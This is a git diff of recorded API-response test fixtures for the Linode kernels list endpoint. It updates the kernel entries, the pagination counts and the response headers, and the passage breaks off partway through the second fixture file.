100644 --- a/test/integration/fixtures/ExampleListKernels_all.yaml +++ b/test/integration/fixtures/ExampleListKernels_all.yaml @@ -19,11 +19,31 @@ interactions: true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-2.6", "label": "Latest 2.6 Stable (2.6.23.17-linode44)", "version": "2.6.24", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/latest-32bit", "label": "Latest 32 bit (6.1.10-x86-linode179)", - "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": + {"id": "linode/latest-32bit", "label": "Latest 32 bit (6.8.9-x86-linode184)", + "version": "6.8.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label": "Latest Legacy (2.6.18.8-linode22)", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.8.9-x86_64-linode164", "label": "6.8.9-x86_64-linode164", "version": + "6.8.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.8.9-x86-linode184", + "label": "6.8.9-x86-linode184", "version": "6.8.9", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.7.9-x86_64-linode163", "label": "6.7.9-x86_64-linode163", "version": + "6.7.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.7.9-x86-linode183", + "label": "6.7.9-x86-linode183", "version": "6.7.9", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.4.9-x86_64-linode162", "label": "6.4.9-x86_64-linode162", "version": + "6.4.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.4.9-x86-linode182", + "label": "6.4.9-x86-linode182", "version": "6.4.9", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.3.5-x86_64-linode161", "label": "6.3.5-x86_64-linode161", "version": + "6.3.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.3.5-x86-linode181", + "label": "6.3.5-x86-linode181", "version": "6.3.5", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86_64-linode160", "label": "6.2.9-x86_64-linode160", "version": "6.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86-linode180", @@ -242,27 +262,7 @@ interactions: "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.78-x86-linode114", "label": "4.9.78-x86-linode114", "version": "4.9.78", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86-linode113", - "label": "4.14.14-x86-linode113", "version": "4.14.14", "kvm": true, "architecture": - "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.14.14-x86-linode112", "label": "4.14.14-x86-linode112", "version": - "4.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.64-x86-linode107", - "label": "4.9.64-x86-linode107", "version": "4.9.64", "kvm": true, "architecture": - "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.9.68-x86-linode108", "label": "4.9.68-x86-linode108", "version": - "4.9.68", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.12-x86-linode111", - "label": "4.14.12-x86-linode111", "version": "4.14.12", "kvm": true, "architecture": - "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.14.11-x86-linode110", "label": "4.14.11-x86-linode110", "version": - "4.14.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.56-x86-linode106", - "label": "4.9.56-x86-linode106", "version": "4.9.56", "kvm": true, "architecture": - "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.9.50-x86-linode105", "label": "4.9.50-x86-linode105", "version": - "4.9.50", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}], "page": 1, "pages": 4, "results": 322}' + true, "built": "2018-01-02T03:04:05"}], "page": 1, "pages": 4, "results": 330}' headers: Access-Control-Allow-Credentials: - "true" @@ -275,19 +275,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -298,7 +302,7 @@ interactions: X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -317,8 +321,28 @@ interactions: url: https://api.linode.com/v4beta/linode/kernels?page=2 method: GET response: - body: '{"data": [{"id": "linode/4.9.36-x86-linode104", "label": "4.9.36-x86-linode104", - "version": "4.9.36", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": + body: '{"data": [{"id": "linode/4.14.14-x86-linode113", "label": "4.14.14-x86-linode113", + "version": "4.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86-linode112", + "label": "4.14.14-x86-linode112", "version": "4.14.14", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/4.9.64-x86-linode107", "label": "4.9.64-x86-linode107", "version": + "4.9.64", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.68-x86-linode108", + "label": "4.9.68-x86-linode108", "version": "4.9.68", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/4.14.12-x86-linode111", "label": "4.14.12-x86-linode111", "version": + "4.14.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.11-x86-linode110", + "label": "4.14.11-x86-linode110", "version": "4.14.11", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/4.9.56-x86-linode106", "label": "4.9.56-x86-linode106", "version": + "4.9.56", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.50-x86-linode105", + "label": "4.9.50-x86-linode105", "version": "4.9.50", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/4.9.36-x86-linode104", "label": "4.9.36-x86-linode104", "version": + "4.9.36", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.33-x86-linode102", "label": "4.9.33-x86-linode102", "version": "4.9.33", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, @@ -529,32 +553,12 @@ interactions: true, "built": null}, {"id": "linode/latest-2.6-64bit", "label": "Latest 2.6 (2.6.39.1-x86_64-linode19)", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/latest-64bit", "label": "Latest 64 bit (6.1.10-x86_64-linode159)", - "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + {"id": "linode/latest-64bit", "label": "Latest 64 bit (6.8.9-x86_64-linode164)", + "version": "6.8.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode10", "label": "Latest Legacy (2.6.18.8-x86_64-linode10)", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": - "2018-01-02T03:04:05"}, {"id": "linode/5.7.6-x86_64-linode136", "label": "5.7.6-x86_64-linode136", - "version": "5.7.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.14-x86_64-linode135", - "label": "5.6.14-x86_64-linode135", "version": "5.6.14", "kvm": true, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/5.6.1-x86_64-linode134", "label": "5.6.1-x86_64-linode134", "version": - "5.6.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.4.10-x86_64-linode132", - "label": "5.4.10-x86_64-linode132", "version": "5.4.10", "kvm": true, "architecture": - "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, - {"id": "linode/5.3.11-x86_64-linode131", "label": "5.3.11-x86_64-linode131", - "version": "5.3.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.7-x86_64-linode130", - "label": "5.3.7-x86_64-linode130", "version": "5.3.7", "kvm": true, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/5.2.9-x86_64-linode129", "label": "5.2.9-x86_64-linode129", "version": - "5.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.17-x86_64-linode128", - "label": "5.1.17-x86_64-linode128", "version": "5.1.17", "kvm": true, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], - "page": 2, "pages": 4, "results": 322}' + "2018-01-02T03:04:05"}], "page": 2, "pages": 4, "results": 330}' headers: Access-Control-Allow-Credentials: - "true" @@ -567,19 +571,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -590,7 +598,7 @@ interactions: X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -609,7 +617,27 @@ interactions: url: https://api.linode.com/v4beta/linode/kernels?page=3 method: GET response: - body: '{"data": [{"id": "linode/5.1.11-x86_64-linode127", "label": "5.1.11-x86_64-linode127", + body: '{"data": [{"id": "linode/5.7.6-x86_64-linode136", "label": "5.7.6-x86_64-linode136", + "version": "5.7.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.14-x86_64-linode135", + "label": "5.6.14-x86_64-linode135", "version": "5.6.14", "kvm": true, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/5.6.1-x86_64-linode134", "label": "5.6.1-x86_64-linode134", "version": + "5.6.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.4.10-x86_64-linode132", + "label": "5.4.10-x86_64-linode132", "version": "5.4.10", "kvm": true, "architecture": + "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, + {"id": "linode/5.3.11-x86_64-linode131", "label": "5.3.11-x86_64-linode131", + "version": "5.3.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.7-x86_64-linode130", + "label": "5.3.7-x86_64-linode130", "version": "5.3.7", "kvm": true, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/5.2.9-x86_64-linode129", "label": "5.2.9-x86_64-linode129", "version": + "5.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.17-x86_64-linode128", + "label": "5.1.17-x86_64-linode128", "version": "5.1.17", "kvm": true, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/5.1.11-x86_64-linode127", "label": "5.1.11-x86_64-linode127", "version": "5.1.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86_64-linode126", "label": "5.1.5-x86_64-linode126", "version": "5.1.5", "kvm": true, "architecture": @@ -838,28 +866,8 @@ interactions: "3.5.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.4.2-x86_64-linode25", "label": "3.4.2-x86_64-linode25", "version": "3.2.4", "kvm": false, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/3.0.18-x86_64-linode24", "label": "3.0.18-x86_64-linode24 ", - "version": "3.0.18", "kvm": false, "architecture": "x86_64", "pvops": true, - "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.2.1-x86_64-linode23", - "label": "3.2.1-x86_64-linode23", "version": "3.2.0", "kvm": false, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/3.1.0-x86_64-linode22", "label": "3.1.0-x86_64-linode22", "version": - "3.1.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-x86_64-linode21", - "label": "3.0.4-x86_64-linode21", "version": "3.0.4", "kvm": false, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/3.0.0-x86_64-linode20", "label": "3.0.0-x86_64-linode20", "version": - "3.0.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39.1-x86_64-linode19", - "label": "2.6.39.1-x86_64-linode19", "version": "2.6.39", "kvm": false, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/2.6.39-x86_64-linode18", "label": "2.6.39-x86_64-linode18", "version": - "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38-x86_64-linode17", - "label": "2.6.38-x86_64-linode17", "version": "2.6.38", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], - "page": 3, "pages": 4, "results": 322}' + "page": 3, "pages": 4, "results": 330}' headers: Access-Control-Allow-Credentials: - "true" @@ -872,19 +880,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -895,7 +907,7 @@ interactions: X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -914,7 +926,27 @@ interactions: url: https://api.linode.com/v4beta/linode/kernels?page=4 method: GET response: - body: '{"data": [{"id": "linode/2.6.35.4-x86_64-linode16", "label": "2.6.35.4-x86_64-linode16", + body: '{"data": [{"id": "linode/3.0.18-x86_64-linode24", "label": "3.0.18-x86_64-linode24 + ", "version": "3.0.18", "kvm": false, "architecture": "x86_64", "pvops": true, + "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.2.1-x86_64-linode23", + "label": "3.2.1-x86_64-linode23", "version": "3.2.0", "kvm": false, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/3.1.0-x86_64-linode22", "label": "3.1.0-x86_64-linode22", "version": + "3.1.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-x86_64-linode21", + "label": "3.0.4-x86_64-linode21", "version": "3.0.4", "kvm": false, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/3.0.0-x86_64-linode20", "label": "3.0.0-x86_64-linode20", "version": + "3.0.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39.1-x86_64-linode19", + "label": "2.6.39.1-x86_64-linode19", "version": "2.6.39", "kvm": false, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/2.6.39-x86_64-linode18", "label": "2.6.39-x86_64-linode18", "version": + "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38-x86_64-linode17", + "label": "2.6.38-x86_64-linode17", "version": "2.6.38", "kvm": false, "architecture": + "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/2.6.35.4-x86_64-linode16", "label": "2.6.35.4-x86_64-linode16", "version": "2.6.35", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode15", "label": "2.6.32.12-x86_64-linode15", "version": "2.6.32", "kvm": false, "architecture": @@ -968,7 +1000,7 @@ interactions: "2018-01-02T03:04:05"}, {"id": "linode/pv-grub_x86_64", "label": "pv-grub-x86_64", "version": "2.6.26", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}], "page": 4, "pages": 4, - "results": 322}' + "results": 330}' headers: Access-Control-Allow-Credentials: - "true" @@ -981,19 +1013,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -1004,7 +1040,7 @@ interactions: X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/ExampleListKernels_allWithOpts.yaml b/test/integration/fixtures/ExampleListKernels_allWithOpts.yaml index d2c5ee7a5..3d83ee16e 100644 --- a/test/integration/fixtures/ExampleListKernels_allWithOpts.yaml +++ b/test/integration/fixtures/ExampleListKernels_allWithOpts.yaml @@ -19,11 +19,31 @@ interactions: true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-2.6", "label": "Latest 2.6 Stable (2.6.23.17-linode44)", "version": "2.6.24", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/latest-32bit", "label": "Latest 32 bit (6.1.10-x86-linode179)", - "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": + {"id": "linode/latest-32bit", "label": "Latest 32 bit (6.8.9-x86-linode184)", + "version": "6.8.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label": "Latest Legacy (2.6.18.8-linode22)", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.8.9-x86_64-linode164", "label": "6.8.9-x86_64-linode164", "version": + "6.8.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.8.9-x86-linode184", + "label": "6.8.9-x86-linode184", "version": "6.8.9", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.7.9-x86_64-linode163", "label": "6.7.9-x86_64-linode163", "version": + "6.7.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.7.9-x86-linode183", + "label": "6.7.9-x86-linode183", "version": "6.7.9", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.4.9-x86_64-linode162", "label": "6.4.9-x86_64-linode162", "version": + "6.4.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.4.9-x86-linode182", + "label": "6.4.9-x86-linode182", "version": "6.4.9", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, + {"id": "linode/6.3.5-x86_64-linode161", "label": "6.3.5-x86_64-linode161", "version": + "6.3.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.3.5-x86-linode181", + "label": "6.3.5-x86-linode181", "version": "6.3.5", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86_64-linode160", "label": "6.2.9-x86_64-linode160", "version": "6.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86-linode180", @@ -242,27 +262,7 @@ interactions: "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.78-x86-linode114", "label": "4.9.78-x86-linode114", "version": "4.9.78", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86-linode113", - "label": "4.14.14-x86-linode113", "version": "4.14.14", "kvm": true, "architecture": - "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.14.14-x86-linode112", "label": "4.14.14-x86-linode112", "version": - "4.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.64-x86-linode107", - "label": "4.9.64-x86-linode107", "version": "4.9.64", "kvm": true, "architecture": - "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.9.68-x86-linode108", "label": "4.9.68-x86-linode108", "version": - "4.9.68", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.12-x86-linode111", - "label": "4.14.12-x86-linode111", "version": "4.14.12", "kvm": true, "architecture": - "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.14.11-x86-linode110", "label": "4.14.11-x86-linode110", "version": - "4.14.11", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.56-x86-linode106", - "label": "4.9.56-x86-linode106", "version": "4.9.56", "kvm": true, "architecture": - "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/4.9.50-x86-linode105", "label": "4.9.50-x86-linode105", "version": - "4.9.50", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}], "page": 1, "pages": 4, "results": 322}' + true, "built": "2018-01-02T03:04:05"}], "page": 1, "pages": 4, "results": 330}' headers: Access-Control-Allow-Credentials: - "true" @@ -275,19 +275,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:04:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -298,7 +302,7 @@ interactions: X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -317,8 +321,28 @@ interactions: url: https://api.linode.com/v4beta/linode/kernels?page=2 method: GET response: - body: '{"data": [{"id": "linode/4.9.36-x86-linode104", "label": "4.9.36-x86-linode104", - "version": "4.9.36", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": + body: '{"data": [{"id": "linode/4.14.14-x86-linode113", "label": "4.14.14-x86-linode113", + "version": "4.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86-linode112", + "label": "4.14.14-x86-linode112", "version": "4.14.14", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/4.9.64-x86-linode107", "label": "4.9.64-x86-linode107", "version": + "4.9.64", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.68-x86-linode108", + "label": "4.9.68-x86-linode108", "version": "4.9.68", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/4.14.12-x86-linode111", "label": "4.14.12-x86-linode111", "version": + "4.14.12", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.11-x86-linode110", + "label": "4.14.11-x86-linode110", "version": "4.14.11", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/4.9.56-x86-linode106", "label": "4.9.56-x86-linode106", "version": + "4.9.56", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": + true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.50-x86-linode105", + "label": "4.9.50-x86-linode105", "version": "4.9.50", "kvm": true, "architecture": + "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, + {"id": "linode/4.9.36-x86-linode104", "label": "4.9.36-x86-linode104", "version": + "4.9.36", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.33-x86-linode102", "label": "4.9.33-x86-linode102", "version": "4.9.33", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, @@ -529,32 +553,12 @@ interactions: true, "built": null}, {"id": "linode/latest-2.6-64bit", "label": "Latest 2.6 (2.6.39.1-x86_64-linode19)", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/latest-64bit", "label": "Latest 64 bit (6.1.10-x86_64-linode159)", - "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": + {"id": "linode/latest-64bit", "label": "Latest 64 bit (6.8.9-x86_64-linode164)", + "version": "6.8.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode10", "label": "Latest Legacy (2.6.18.8-x86_64-linode10)", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": - "2018-01-02T03:04:05"}, {"id": "linode/5.7.6-x86_64-linode136", "label": "5.7.6-x86_64-linode136", - "version": "5.7.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": - true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.14-x86_64-linode135", - "label": "5.6.14-x86_64-linode135", "version": "5.6.14", "kvm": true, "architecture": - "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, - {"id": "linode/5.6.1-x86_64-linode134", "label": "5.6.1-x86_64-linode134", "version": - "5.6.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": - true, 